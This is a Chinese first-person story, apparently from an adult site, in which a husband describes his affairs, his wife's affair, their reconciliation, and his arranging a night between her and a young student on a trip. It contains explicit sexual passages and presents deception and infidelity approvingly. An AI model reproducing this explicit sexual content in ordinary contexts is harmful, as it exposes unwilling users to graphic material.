图片载入中

我和妻子的故事,慢慢讲给你听完

特大字】 【大字】 【中字】 【小字

在一些传统网站里看过男人描述老婆出轨后的文章,无不暴跳如雷。今天我要说的不是这个。

而是与这种反应完全相反的另一种态度:一些成人网站里,有很多男人描述老婆出墙的文章,大多形容得美轮美奂,仿佛这肯定是一件很美的事情。

我不能完全否定这种文章的真实性,但虚构的成分太多了,有些文章,根本就是没结婚的男人虚构出来的。因为有一点我能肯定:没有哪个男人在初听到妻子出墙的消息后能感到兴奋。

任何一个男人,哪怕你在外面包了二奶,或者小蜜成群,如果在你没有足够的心理准备的情况下得知此事,只能感到愤怒和屈辱。

至于其后或许会接受,甚至支持老婆出轨,那是以后的事情,而且,由最初的愤怒到接受,一般要经历一段漫长的心里煎熬过程。

我是一个结婚十多年的男人,与很多男人一样,我很爱自己的妻子,但是,同时我又控制不住外面的多彩诱惑,经常在外面鬼混——声明一点,我从来不嫖娼,不是瞧不起妓女,只是感觉妓女太脏。

因工作关系,我经常接触一些很优秀的女性。所有男人都犯一个毛病:你就是让他把貂婵那样的美女娶回家,时间久了也会发腻。因此男人们都忽略自己的老婆,并把眼睛瞄向妻子以外的女人。

为这世界制造很多寂寞女人。其实这是一个有意思的怪圈:男人们都忽略自己的妻子,把心思放在别人老婆身上。结果呢,自己的老婆也成了其他男人猎艳的目标。从某种程度上来说,说的好听点,这叫做天道轮回,说不好听的,这就叫报应。

写到这里,我有必要先声明一下,我所描述的,不是一个艳情故事。

我只是试图以一个结婚近十二年的男人的身份,如实地向你展示我的一些经历和心路历程,希望给其他与我一样久居围城的人一些启发、反省或者借鉴。家庭,永远是一个男人最后的港湾,而妻子,永远是一个男人最亲近的,也应当是最值得珍惜的女人。

吵架不可怕,隔阂也不可怕,红杏出墙同样不可怕,只要你勇于正面面对这些。经历曲折没关系,经历其实是一种财富。有些曲折或者磨难,说不定会让你受益终生。作为男人,珍惜那个陪伴自己走过一生的女人,我们责无旁贷。

大学毕业不久,我结识了我的妻子。她在银行工作,当时只是一个普通的柜员,中专毕业于某银行学校。当时她已经有了一个相处了一年的男朋友了。是她上一届的师兄,因为那小子追求上进,上班几年以后又考了全脱产的职大,重回了校园,结果被我钻了空子,横刀夺爱。

妻子比我小一岁,苗条而修长的身材,性感而迷人,水灵灵的大眼睛,充满纯真。那段时间里,我仿佛泡在了蜜罐里,睡梦中都能笑醒。在谈恋爱期间,我曾多次图谋不轨想把生米做成熟饭,但都被妻子言词拒绝。这一点,现在二十左右岁的年轻人可能不理解,但在十多年前,性还是比较严肃的话题。

因此,直到新婚之夜我才真正拥有了她。望着白床单上那朵桃花般灿烂的处女之血。妻子在我眼里,胜过纯洁的天使。其实,我这人向来处女情结不深。而且,那种年代婚前性行为还不十分普遍,所以一切对我来说都仿佛很天经地义。

和所有新婚夫妇一样,我俩不放过任何一个在一起缠绵的机会。夜里折腾两三次不说,有时白天在家,相互一个眼神都能撞出火花,马上宽衣解带赤条条地滚到一起。

那段时间里,我体力严重透支,却仍然生气勃勃,最离谱的一次,激情之后我没来及时从她身上下来就睡着了,她没舍得动我,结果我趴在她身上睡了五个多小时——现在回忆起这件事情,我都觉得仿佛欠了妻子一辈子还不完的深情。

一年以后,我们有了孩子,一个可爱的女儿。有了孩子之后,精力大部分都转移到了孩子身上。夫妻之间的激情渐渐归于平淡。

这期间,我出轨了,对方是我的大学同学。这故事原本不稀奇,同学之间越轨的概率是最高的。

我去她那个城市出差,一起喝了好多酒,然后她跟我去了我住的酒店,心猿意马的聊了一会儿天,其实也没什么实质性的内容,都是回忆大学生活之类的废话。突然冷场,我俩就那样相互望着。

不知谁先主动行动的,我俩突然抱在了一起,狂吻,爱抚,最后彻底滚到了床上。在进入她身体的一瞬间,我脑海里一下子闪出了妻子可爱的面容。

这念头令我顿时兴趣索然,没抽动几下就软了。接下来大脑一片空白。同学不明原因,还善解人意的安慰我,说我可能出门在外,没休息好的缘故。

我木然的搂着她躺在床上,觉得自己十分禽兽,甚至想像着自己跪在妻子面前求她宽恕。

后来,我的女同学趴在我两腿之间,温柔地用嘴爱抚我,妻子向来不喜欢给我口交,仅有的几次还十分勉强。

因此,女同学的刺激让我爆发了原始的野性,翻身把她压在了下面,这一次做得酣畅淋漓。看着女同学在我身下因兴奋而有点扭曲的面容,我暴发出一种全新的快感。

这件事情过去以后,我惭愧了一段时间,出于赎罪的心理,在家里我经常主动做些家务活,也对妻子加倍体贴了一段时间。

但是,狗改不了吃屎,没过多久,我又开始胡思乱想了。随后的几年里,我多次与其他女人私下交往,对妻子的忽略也越来越严重。

结婚时间长的男人都知道,妻子对于丈夫的直觉在大多时候是非常准的。只是男人一般过高估计自己的智力,总觉得自己的谎言天衣无缝。其实一个妻子在判断丈夫的行为的时候,不需要证据,因为她们天生具有最具杀伤力的武器:直觉。

又过了几年,我事业上比较顺利,升任某个重要部门的负责人。而且,有了一个固定的情人,小鸟依人,风情万种。我独自陶醉在这种一妻一妾的齐人之美中。对妻子的忽略也越来越严重。

这时,我俩已经把孩子送到了我的父母家,这样既是为了让父母打发寂寞,也可以让我俩重温二人世界的浪漫。但是,孩子虽然送走了,我俩之间的激情却好象永远没有了。而且说心里话,我的主要精力都在情人那里。

妻子在我眼里,基本属于可有可无,我俩做爱的次数越来越少。妻子是个含蓄的女人,有做爱欲望的时候从来都只用肢体语言暗示,但是,我却越来越多地对她的暗示采取装傻的态度。潜意识里认为,妻子反正也是属于自己的,不用有那么多的在意,倒是情人需要好好哄着。

直到发生了那件事情……

大约八年前的一个星期天,我习惯性早起。妻子躺在被窝里睡懒觉。我洗漱完毕以后,回到卧室看了一眼,妻子仍在那里睡着。

我说了一句:“我去买早点。”

说完我穿过客厅走到门口穿鞋子,并打开了家门。

这时,我忽然想去卫生间,所以随手又关上了门,我家的卫生间就在房门旁边,所以,我一转身就进了卫生间。

坐在马桶上,我拿过一本杂志慢慢看,杂志上有一篇文章吸引了我,我不慌不忙地坐在马桶上细读。

就在这时,我听到了妻子穿着拖鞋在客厅内走动的声音,我当时以为她要上卫生间,所以恶作剧般的坐着没起来。

出乎我的意料,客厅里响起了电话拨号的声音,而且用的是免提。我家的电话放在客厅的角落,离卫生间不远,所以我听的特别清楚。

电话拨通了,那边一个男人接的,妻子接下来说的话让我五雷轰顶:“亲爱的,起床了吗?”

那男人答:“早就起来了,宝贝,你怎么用家里电话打给我,你老公不在家吗?”

我妻子说:“出去买早点了。”

那个男人说:“你几点能过来?”

我妻子说:“我不知道,要等他出去打麻将。”(周末的时候,我很少在家陪妻子,多数的时候是陪朋友胡混)。

那个男人说:“不急,我等你,你想吃什么,我去买。”妻子用异常温柔的声音说:“不用了亲爱的,我买好带过去,顺路,先这样吧,不和你说了,我老公可能快回来了。”

——电话挂了。

此时的我,在卫生间里已经惊呆了,眼前发黑,浑身气得直哆嗦,直觉让我马上冲出去,理智又提醒我要冷静。

一个奇怪的声音在我耳边不停地问:怎么会这样,怎么会这样……后来每回想起当时的情景,我都非常后怕:如果妻子放下电话以后进入卫生间,局面将不可收拾。而且,我还将被妻子怀疑成一个无耻的偷听、偷窥者。对于妻子来说,由于事情败露,更会面临心理上的崩溃。

好在那天妻子放下电话以后,又回到了床上。

而我躲在卫生间里,进也不是,退也不是。

理智一遍遍地提醒自己,要克制,一定要克制。

我急需找地方独自理一下自己的思路,因为现实总要面对。

所以我尽量悄无声息地出了卫生间,故意大声的打开房门又关上,作出我刚从外面回来的样子。

然后用很平静的声音冲着卧室喊了一句:“老婆,早点卖没了,没买到,你一会起来自己煮点粥吧,我有点事出去一下,一会儿回来。”妻子在卧室里装出一副刚睡醒的声音说:“烦死了,大周末的也不让人睡个懒觉。”

我没说话,转身走出了家。

周末的小区里,很肃静,远处有几个老人在打太极拳。天气很晴朗,但我感觉当时天空的颜色是黑的。

独自走在小区里,整个人处于虚空状态,仿佛脚下踩着棉花。偶尔遇到和我打招唿的熟人,我只是木然地点头。我独自一人来到了小区角落的一个石凳上坐下,夏日清早的石凳,冰凉彻骨,但我已经感觉不到。此时,我满脑子只有一个问题不停的蹦出:怎么办?

或许与石凳的冰冷有关,没过多久,我感觉整个人都在发抖。但头脑却慢慢冷静下来,开始琢磨如下问题:

一、怎么办?戳穿么?戳穿这件事情很容易,就算妻子不承认,到电信局调一下电话记录就可查出那男人是谁。但是戳穿以后又有什么好处?唯一的结果就是相互撕破脸,把最后的温情打破。曾经刻骨铭心的爱人从此陌路,甚至反目成仇。

二、我装做什么都不知道,慢慢想办法?但一想到自己的爱妻与另一男人赤条条地纠缠在一起的情景,我的头都大了。想到这里,我甚至有杀人的欲望。

当石凳周围丢满我吸掉的烟头之后,我开始彻底清醒了。

我开始逐个回忆那几年里与我交往的几个女人,她们大多都有可爱的孩子,温馨的家,大多都有一个深爱自己的丈夫。

那么,当我和她们在床上云雨的时候,为什么从来没想到她们自己丈夫的感觉?古人说己所不欲,勿施于人。我自问,那些女人,每一个都是好女人,她们都是合格的母亲、贤慧的妻子。

从另一个层面上说,当我与她们上床的时候,虽然我没有丝毫亵渎她们的想法,但我心里爱的仍然是我自己的妻子,同样,她们在与我上床的时候,她们也仍然爱着他们自己的丈夫。就算夫妻之间激情不在了,但是,她们与自己丈夫之间的那种血脉相连的亲情,却是任何其他人所无法取代的。

那么,对于我来说,这世界上还有别的女人能取代我的妻子吗?答案是不可能再有。虽然妻子肯定是出轨了,这事实不需要再怀疑,但与我的荒唐相比,她的行为又能算得了什么。

那么,我目前最应当做的、也是唯一能做的,只能是弥补,而不是更大程度的破坏。否则,伤害将变成永远。

想起妻子刚才电话里的那个约会,我眼前又一阵发黑。于是我快速地作出两个决定:第一,装做什么都不知道;第二,眼前这个约会一定要阻止,我不能让她越走越远。

想到这里,我跑到小区对面的花店里给妻子买了一束鲜花,粉红色的玫瑰。

这是我第二次给妻子买花,第一次还是在婚前追她的时候,转眼已过去多年了,一切都恍如隔世。

拿着花回到家里,妻子已经梳洗完毕在厨房里做饭,望着我手里的花,她很惊奇,问:“没送出去啊?情人没在家?”

——我都不记得是从什么时候开始,我俩经常用这种互相讽刺的口气说话的了。

心里一阵难过,我向妻子走过去,一把抱住了她,把头埋在了她胸前。

妻子发现了我的反常,问我:“你怎么了?”

此刻我已泪流满面,掩饰着说:“没什么,刚才在外面看到一对互相搀扶散步的老人,突然想到人这一辈子真不容易……”妻子第一次见我哭成这样,有点不知所措,拍了拍我的肩膀,说:“快别瞎想了,乖,去看会电视,马上开饭。”

吃早饭的时候,我一点胃口都没有,只在那里呆呆地看着妻子。

妻子再一次被我弄得不知所措,问我:“你怎么啦,怎么大清早出去转了一圈回来就变成林妹妹了?”

我没说话,只伸过手在她的脸上爱抚的摸了一下。

早饭过后,我若无其事的坐在沙发上看电视,静观妻子接下来会做什么。

不一会儿,妻子问我:“今天你不出去了?”

我说:“哪儿也不去了,在家陪老婆。”

接着我心里狂跳着反问一句:“你有事儿吗?”妻子犹豫了一下,说:“单位里有点事……不过不急,周一办也来得及。”我说:“那就在家待着吧,要不然我陪你去逛街……”接近中午的时候,我借口买烟出去了一趟。我想,妻子或许需要机会和时间打个电话……

那个周末,妻子并有没去赴她那个约会,下午的时候,我带她去了肯德基,在这以前,我一直非常讨厌这种垃圾食品,但为了哄她开心,还是装作很喜欢的样子陪她去了。

过后,我忍不住偷查了电话单子,通过电话单,没有看出任何蛛丝马迹,但这并不能说明什么问题——因为当年手机很少,一个普通的汉显寻唿机都要两千多。我又无法查看妻子的唿机。

我所能做的,就是每天按时回家,尽量多陪妻子,多给她体贴和关爱,在我做这些事情的时候,内心忍受着难以名状的煎熬。脑海里总是不停地闪现她与另一个男人ML的场景,梦里也常梦到这些,一幕幕仿佛就在我眼前。

我曾多次找借口去过她的办公室(这时,她已经升任一个科室的小头头),但是,她办公室里一共五个人呢,我无法确认那个男人是不是这其中的一个。

其实,这人是谁根本不重要,只是内心中那种好奇、愤怒、屈辱情绪不时涌出,让我不能自拔。

但我所能做的,也只能是做好自己该做的,或者说补偿自己原来没有做好的事情,对于妻子来说,这算是一种补偿,但对我来说,却是一种应得的报应。

主动权已经交到了妻子手里。那段时间里,我与情人基本上断了联系,面对情人的时候,我一点兴致也提不起来,而且隐约中还有一种恼恨,好象这一切都是她造成的。

在那段时间里,每当与妻子ML的时候,我经常会控制不住的产生莫名的冲动,仿佛冥冥中与别人比赛一样。

当时,我并没有读到关于交友或者多P等方面的理性的文章,再说那时候就算看了,也不可能接受那些看起来很另类的方式。

我只是偶尔在网上搜索了若干关于妻子红杏出墙方面的心理咨询文章来看,后来我发现,看了很多所谓专家的假正经文字,心情更加郁闷,还不如不看了。

有人说时间是解决一切难题的最好良药,这话非常有道理。经过我的不懈努力,妻子终于经常主动与我交流了,我们又找回了当年的感觉。

我俩都比较喜欢喝啤酒。有一次,我俩在家里喝光了十瓶啤酒,仍不过瘾,大半夜跑到外面吃烧烤,边喝边煽情,天南地北地吹牛,包括对孩子,对我俩未来的憧憬。

但是,我一直坚守一个原则,对她红杏出墙的事情,只字不提。有几次,她明显有主动向我坦白的意思,我都假装不在意的给岔了过去。现在回忆起来,那是因为我胆怯,我无法自己解开这个心结。所以我宁愿选择逃避这个话题,试图忘掉这些,把问题交给时间。求同存异,这绝对是个好办法。

经历这一番风雨之后,我与妻子之间的夫妻关系发生了质的变化:除了夫妻关系外,很多时候更接近于知心朋友。和谐越来越多,争执越来越少,心贴的也更近了。

而且在很多时候,我甚至会产生她是我的女儿那种发自内心的疼爱感觉。

又过了一段时间,当我觉得时机成熟的时候,我向她坦白了我第一次与女同学的越轨过程,以及其他的部分经历(上帝原谅我有所保留,因为很多事情我做的太过份,怕她接受不了,另外我觉得,在我已经意识到自己错误的情况下,如果把这些伤口均无保留地向她展示,我怕她接受不了这份沉重的心理冲击,从某种程度上来说,这或许也是一种善意的欺骗吧,因为有一个前提:我真正意识到了自己的错误)。其实,我的很多事情在我向她坦白之前,她早就知道,只是为了家庭和孩子着想,没有戳穿我罢了。

她也主动向我讲述了她的那次唯一的婚外情,她讲的很平静,我听的也很平静:原来那男人是她们银行的一个大客户,很体贴的一个男人,也拥有一个幸福的家庭。在我忽略妻子的那段日子里,他走近了妻子。

据妻子说,在与那个男人交往的过程中,她也无时无刻不受着感情和良心上的煎熬,当初之所以接纳那个男人,在很大程度上是出于对我的报复,其次才是情感和肉欲上的需求。但出了轨以后才发现,事情远没有那样简单。

出轨的原因是因为丈夫的背叛,出轨以后又多了一分对自己的谴责,这同样是一种痛苦的作茧自缚。自从那个倒霉的星期天以后,妻子欣喜若狂的接受了我的转变,事情发生了质的变化:自从那个星期天以后,妻子已经感觉出我可能知道什么了,但我从来不提这些敏感的事情,这令妻子非常感激。

而且我不断用行动对妻子的呵护体贴,妻子主动断决了与那个男人的暧昧交往,由情人转为正常的、一般的朋友。后来我与那个男人也成了朋友,当然这是后话了。

现在看来,我通过对婚姻对爱的拯救过程,同时也拯救了我和她。

随着时间的流逝,我俩的生活好象又重新步入了正轨,在接下来的近两三年的时间里,我并没再碰过妻子以外的女人,以前的教训实在是太深刻了。

但是,有一个非常令人头疼的问题:当年的那一幕,并没有随着时间的流逝而忘掉,反而越来越清晰。这个心病一直困扰着我。很多夫妻在ML的时候,兴奋中都喜欢说一些很过份的话,这是一种很正常的行为,可以增加兴奋和快感的程度。

后来,我经常在妻子接近高潮的时候,这样问她:“和情人做的时候有跟我做舒服吗?”

起初,迷离中的妻子保持着警惕,说:“不好,他不如你。”我一边剧烈动作,一边咬牙切齿地说:“明天我找一百个男来把你绑起来玩你!”

妻子彻底昏头了,连连叫好,最后我俩同时达到了高潮。

后来,我的招术经常更换,比如在妻子兴奋的时候,提到她喜欢的男明星:

“亲爱的,你现在正在和周润发ML。”

她兴奋得连连点头,然后我再问:“想和其他男人做吗?”她乖乖的回答:“是的,但还是老公好……”

于是,我有时装成她的领导,有时扮演她的同学,甚至有时扮成陌生人。

每次这样折腾,我俩的ML质量都出奇的好。可是热情退去的时候,如果问她:“你刚才说什么了?”

她肯定断然否认:“我什么都没说,你真变态。”我有时私下里想,我可能真有点变态。但是,如果这种变态能换来和谐的夫妻幸福,那就不能算变态。

虽然我知道这个结果很好,但是,当时说不清为什么好,或者好在哪里。而且,从心底里说,我心中还是有一个解不开的结——还是觉得自己有点变态。

说明一点:我的这些疑惑,都毫无保留的和妻子讲过,没有半点的隐瞒。

妻子却对此很不以为然,每次她都这样说:“我看你就是闲的,满脑子都瞎想。自己折磨自己。”

直到几年前,我开始接触一些多P或者换偶的文章,并且结合自身的经历,重新用理智的心态去正面剖析自己。而且,最终解开我心结的是值得尊重的李银河大姐。

在大量的阅读了她那些有关社会学和伦理学的文章以后,我的心结彻底解开了。最起码,我知道了:我是一个正常人。

我不知道这是不是人的天性,或者说,也许我就是具有这种天性和潜质的人吧。

在接下的继续讲述之前,我想简单提一提李银河。

我不知道有几个人真正看过李银河女士的文字。现在网络上对李大姐的大骂之声不绝于耳,我看过好多骂李银河的文章,这些人大多数都从破坏婚姻或者家庭稳定的角度来批判李银河。

每个人都把自己装扮成纯洁而高尚的儒家君子,一边大声赞扬婚姻的美好,一边从道德层面上彻底否定李银河及李银河的专业观点。

很多人认为,无论男人或女人,都应当对婚内配偶忠贞不二,都应当从一而终。

——在此我声明,我完全赞成这种观点。

但是,现实与人的理想往往并不一样。

人,是复杂的,人的复杂源于人性的复杂。人的本性中不全是善的东西,还存在着恶,更存在着很多介于善于恶之间的说不清的东西。

比如我,至今我不认为自己是个坏人,但是,好人与坏人真的就那样容易区分吗?

当我背叛妻子的时候,对于妻子来说,我就是一个不折不扣的恶棍。但是,面对我已经当了恶棍这个现实,妻子一刀砍了我?或者毅然决然地放弃婚姻吗?

是理智的挽救,还是否定到底?

我想,每一个聪明的智者,都不会选择因噎废食的办法来对待生活。对于那些大骂李银河的人所持的一个很重要的观点,我一直非常迷惑,这些人认为:有婚外情很正常,只要慎重一些,不要让自己的婚内爱人发觉,这是一种善意的欺骗。

时机终于成熟了,事先我却并没有想到。

有一年的八月份,我和妻子商量好同时休年假随旅游团外出旅游。

结婚之前,我俩就经常憧憬着某一天夫妻相伴着去版纳的热带雨林或者内蒙古的大草原,经常一起憧憬着楼兰古国的浪漫,憧憬着雪域青藏的高洁。转眼结婚好多年了,苦于工作和生活的羁绊,旅游的事情,一直搁置。

这次终于下定决心,抛开一切仿佛永远也忙不完的琐事,放松地出去玩半个月。对于旅游线路的远择上,我俩研究了好久,最终放弃了先前的那些向往已久的地点,因为毕竟时间太短,最后我俩报名参加了中铁国旅的一个旅游团,起点——湖南张家界——广州、深圳。我俩的主要目标是张家界。

旅游团里大多数是成双成对的夫妻或情侣,也有一家三口出行的。只有一个孤家寡人——一个二十多岁的男生,高大帅气,就读于广州某大学,这里姑且称他为小C吧,他利用开学前的半个多月时间一路玩着去学校。小C性格很外向,阳光而开朗,在火车上与我们夫妻邻铺,很快就和我们混熟了。年轻人特有的思维方式和不拘小节的风格,经常把我和妻子逗得哈哈大笑,让我俩仿佛也回到了无忧无虑的学生时代。

接下来的日子里,他成了我们夫妻的小跟班,无论逛街还是在风景区里,我与妻子都轻装上阵——吃的东西和其他必需品都塞到了他的双肩包里,包括在街上购物的时候,妻子也会把大包小包的理直气壮地塞到他手里,并以命令的口吻说:“乖乖地拎着。”

他一面很听话的接过,一面故意弄出一副愁眉苦脸的表情:“天哪,我的命怎么这样苦啊。”

我对他说:“你就偷着乐吧,这是在免费给你上课呢,让你知道女人有多麻烦,以免将来措手不及。”

有些男人,可能天生懂得怎样和女人相处。这个小男孩就属于这种人,他经常用一些近似于淘气的行为激发出妻子的柔情,比如,正在大街走着呢,他突然停在一个小吃摊前,哀求我妻子:“姐,可怜可怜我吧,我要饿死啦。”我和妻子只得陪他坐在那里,看着他大嚼那些我和妻子都不感兴趣的莫名其妙的小吃。妻子手支着下巴,笑眯眯的看着他,就好像是面对自己的弟弟或者自己的孩子。

在张家界的时候,爬山时妻子的新旅游鞋把脚后跟磨破了,走路一瘸一拐,又无鞋可换,苦不堪言。我们本来备好了创可贴,可是创可贴装在小C的双肩包里,这时小C不在团队里。不知道一个人跑哪儿疯去了。气得妻子坐在地上骂:

“这个该死的东西,走了也不说一声,把我的包留下啊。”我也束手无策,只得安慰妻子道:“实在不行,你穿我的鞋,我光着脚慢慢走。”

妻子说:“算了,忍着点吧。这山路如果光着脚走,一会我还得找人把你抬下山。”

正在我俩愁眉不展的时候,远远的看见小C从山下气喘吁吁地跑了上来,满头大汗,没等他说话,妻子就开始骂他:“狗东西,跑哪去了你,快点把我的包拿出来。”

小C笑嘻嘻的没说话,转眼间象变戏法一样从包里掏出一双鞋,就是那种很平常的胶底布面鞋,样子很难看,穿着却非常舒服。我和妻子都非常吃惊,不约而同地问:“你中途跑下去买鞋了?”

要知道,那要往返近四、五公里啊。小C乐呵呵地说:“没事,我是体育健将,这点路算什么,我施展轻功眨眼间就打一往返。”说完把鞋子递给了妻子:“姐,快换上吧。”

这件事情,让我和妻子感动得真不知说什么好。换了鞋以后,妻子的痛苦彻底消除了。我对小C说:“你快点把背包给我,你休息一下。”小C若无其事地说:“哥,你就这么瞧不起我?这点路算什么。”沿途,我们一起照了好多照片,但还没在一起合影,爬山中途休息的时候,小C又掏出相机递给我,我说:“你和你姐合照一张吧。”妻子乐颤颤地跑到他身边,很自然地搂着他的脖子,从镜头里,我发现小C的脸一下子羞得红红的。照完像以后,我逗小C说:“你要小心,这张照片不要让你女朋友看到,否则你死定了。”

小C这时已恢复了平静,说:“怕什么,和我老姐一起照相谁能管得着?”晚上回到酒店,洗完澡以后,妻子趴在床上,我给她按摩。妻子感慨地说:

“小C真是个好男孩儿,不知哪个女孩儿有福能嫁给他。”我说:“怎么?嘴馋了是不是?要不要咱把他拿下?”妻子回手打了我一下,说:“别缺德了你,糟蹋小孩儿啊。”我说:“什幺小孩儿?如果他不读研,现在早就工作了,我在他这个年纪的时候,早就被你拉下水了。”

在接下来的ML过程中,我又问妻子:“亲爱的,真的,你是不是真的很喜欢他,如果你喜欢,我帮你安排。”

妻子想了想,说:“我可说不出口,让人家以为我是花痴,丢死人了。”我说:“这就不用你管了,老夫替你安排,一切水到渠成。”第二天下午,我们又回到了火车上奔下一站,贵阳。此时的小C仍旧是一副乐呵呵的样子。相比之下,妻子沉默了许多,可能缘于昨晚我俩的谈话。妻子拿着一份杂志躺在铺上很安静的看,但每次只要小C在对面铺弄出点动静,妻子马上偷瞄一眼,明显心怀鬼胎。中间,趁小C去别的车厢闲逛的机会,我从中铺跳了下来,坐在了妻子旁边,趴在她耳边悄悄地说:“刚才在想什么?”妻子装傻,说:“想什么啊,我在看书。”

我说:“少骗我,让我检查一下。”

说完就把手往妻子的裤子里伸,妻子用杂志打了我一下,说:“别闹了,一车的人,你干什么啊。”

再看妻子的脸,已经羞得红到了极点。

火车到贵阳的时候是早上,行程安排得很紧,在贵阳玩一天,晚上启程奔广州。我对贵阳很熟悉,出差来过几次,所以,车到贵阳的时候,我对妻子和小C说:“你俩随团去玩吧,我不想下车了,这几天折腾的太累,正好休息一天。”小C非常爽快的答应了:“把老姐交给我,你就放心吧,我是天生的护花使者。”

妻子很不自然地对我说:“既然来了,就一起去转转吧。”我偷偷对妻子眨眨眼睛:“这地方我常来,没啥好玩的,你俩去吧。”我之所以不想下车,有两个方面的原因,第一,确实不想重游已经非常熟悉的旧地。第二点,也是最重要的:我想给他俩一些单独相处的时间。

从车窗里看着妻子和小C并肩在站台上走远,看着小C比比划划的和妻子讲着什么。我的心里很平静,也很甜蜜,没有丝毫醋意,那感觉就像一位父亲看着长大的女儿与恋人幸福地去赴约会一样。——当你把妻子的幸福和快乐看作是你人生最重要的事情的时候,这种感觉非常自然。当然,这种心态的产生,还有一个更重要的原因:对自己和妻子以及对自己婚姻的充分自信。

下午的时候,两人随团回到了车上,看得出来,他俩玩的非常开心,给我带回了一堆吃的东西。我们三个人围坐在茶桌周围开始吃晚饭。小C坐在我对面,向我讲述一天的经过,以及一些趣闻,包括在街里看到警察抓获一个吸贩毒者的过程。

妻子坐在我旁边,没急着吃饭,只是抱着我的胳膊,把头靠在我的肩膀上,我能感觉出来,妻子一直充满爱意的注视着小C。而小C仍旧是一副没心没肺乐呵呵的样子。

接下来火车上的旅途很漫长,由于我们的旅游列车是临时开行的,所以没有固定运行时间,有时候在一个小知名的小站竟然也能停几个小时。闲着无聊的时候,我们三个打扑克消磨时间。小C这时跟我俩处的已完全像一家人,满口“老哥、老大、老姐、大美女”的乱叫,妻子经常被他逗得前仰后合。

火车终于在一个阳光明媚的早上按旅行计划到广州了。小C得意洋洋地对我俩说“这里是我的第二故乡,在这里咱们就不需要导游了,我就是一个优秀的导游。”

这个季节,整个南方大多处于炎热之中,广州也不例外,不过早晨的时候还可以。随团下了火车,先去旅行社安排好的住处,条件非常不错的一个三星级酒店。安顿好住处之后,我们三人脱团单独出去玩。小C很有经验地说:“团里安排的旅游地点大多都是购物场所,不好玩。”

所以在小C的带领下,我们非常开心的四处乱逛。中间,我抽空对妻子说:

“今晚我去同学家,接下来就看你的了。”

妻子故作很吃惊、很不情愿的样子说:“你来真的啊,疯了吧你。”我拍了拍她的小脸,说:“别紧张,你随意,感觉不好就停,一切随心。”妻子红着脸说:“再说吧。”

下午四点多的时候,我们逛累了,决定回酒店。在一楼的餐饮部吃过饭以后回到房间里,我给身居广州当地的大学同学打了个电话,同学听到了我的声音,还以为我在家里呢,我说:“小子,我在广州。”同学在电话那边兴奋得大唿小叫:“啊,天哪,大爷,你在哪里呢?我马上去接你。”

于是,我俩约好了一小时以后在我居住的酒店附近见面。

此时,妻子紧张得坐立不安。一次次地问我:“不要胡闹了行不行?”我抱着她,说:“亲爱的,真的不用紧张,如果你觉得别扭或者不开心,那就什么都不做。一会儿我告诉他过来陪你,不过,我不会向他做什么实质上的交待,以免尴尬,下面的事情就看你俩的了。我明天早上回来。”出门之前,妻子在身后抱着我,跟着我一拖一拉的往门口走,嘴里嘟囔着:

“老公,你别走了,咱不玩了好不好?”

走到门口,我回身抱住她,轻轻吻了一下,说:“乖,别害怕,老公永远站在你的身后。还是那句话,如果不快乐,不要勉强自己,我的手机一直开着,你可以随时打电话叫我回来。”

说完我出了房间去小C那里,小C正在房间里鼓捣电视呢,我对他说:“我今晚要去会一个多年不见的老同学,没事的时候你去陪陪你姐,免得她无聊,另外,别忘了帮她按按肩膀,她每次走路走多的时候都会肩痛。”小C说:“老大,不会是女同学吧。”

我踢了他一脚:“小孩子不要乱打听。”

说完,我离开了酒店。

广州的同学,上大学的时候与我同一宿舍,老家是北方的一个小城,上学时勾上了一个很有门路的广州女生,毕业后一同被分配到了广州。自从毕业以后,我俩一直没见过面,只是经常有电话往来,从没中断过联系。见面的时候,这小子以北方汉子特有的豪爽,大唿小叫的跑了过来一把抱住我,原地转了几个圈。

问我:“你来广州公事还是私事?”

我没有提与妻子同来旅游的事情,要不然他肯定要叫上我妻子,我说:“一点点公事,不过已经办完了,原计划今晚回去,想看看你,所以改在明天走,今晚你要收留我,要不然我就流落街头了。”

同学说:“没问题,我可以把整个家倒出来让你一个人住。”我说:“最好把你夫人也留下。”

同学狠狠打了我一拳,说:“还是当年那副没正经的嘴脸。”坐在车上,我问同学:“咱们现在去哪里?”

同学说:“哪儿不去,直接回家,我打电话通知你婶了,她正在和保姆在家里准备晚饭。”

——呵呵,他称他的爱人是我婶,这种玩笑自上学起就一直这样开,我们上大学的年代里,谈恋爱是一件鬼鬼祟祟的事情,只能躲到宿舍里,每次他带女友回宿舍的时候,都会说:“孩儿们,你们的婶来了,抓紧回避。”于是,大家一边嘴里骂着,一边不情愿的躲出宿舍。

晚上,我俩喝了一斤多烈性白酒,一边回忆学生时代一边嗟叹,谈及工作上的不顺心,时不时骂几句:“我×他妈的……”人好像没有满足的时候,就说我这个同学吧,如果不是傍上了权贵,现在没准还缩在一个不知名的小城里当乡镇干部,再惨点,说不定在哪个缺桌子少凳子的学校里吃粉笔灰呢。回头再看看他现在,事业上春风得意,岳父大人虽然是退了,但早就为他安排好了一切,家里还雇了一个小保姆每天忍气吞声的接受他们的剥削。

酒喝到量了,开始喝茶,天南地北,话题好像永远扯不完,中间的时候,我挂念妻子,打了一个电话,我问:“怎么样?”妻子没正面回答,只是说:“老公你少喝点酒,明天早点回来。”我说:“放心吧,没事,你开心点,我爱你。”同学以为我往家里打电话,上来抢我的手机,说:“让我和我侄儿媳妇说两句。”

我连忙把电话挂掉了。

同学不屑地说:“我×,孩子都那么大了,装什么嫩,还‘我爱你’,酸死了。”

我呸了他一口,说:“你懂个屁。”

这天晚上,我和同学胡扯到后半夜一点多,中间他妻子到客厅里看了两次,嘲笑着说:“嗯,不错,好不容易找到可以吹牛的人,你俩千万别停。”我同学说:“我×,好多年没这样开心了。”

第二天一早,同学以为我真的要离开广州,极力地要求送我去机场,我说:

“你不用管我了,我自己随意转转,顺便给老婆孩子买点东西,机场大巴很方便的,我随时可以走。”

于是,同学去上班,我俩就此分别,我打车回酒店。途中给妻子打了个电话告诉她我回来了。

用房卡打开房门进了房间,妻子还没有起床,盖着毛巾被脸朝内侧躺着,我知道她在装睡。我走过去躺在她身边,拍了拍她:“是不是折腾了一夜?累坏了吧。”

妻子转身抱住了我,把脸埋在我的胸前,用小拳头在我身上乱打,嘴里不停地说:“缺德缺德缺德……”

我扳过妻子的脸,一把掀起她身上的毛巾被,说:“我要检查一下我家宝贝儿,看看有没有丢失零件。”

妻子笑着起身,跑进了卫生间。趁妻子洗澡的间隙,我看了看房间,两张床都弄得很乱。看来他俩度过了很激情的一夜。

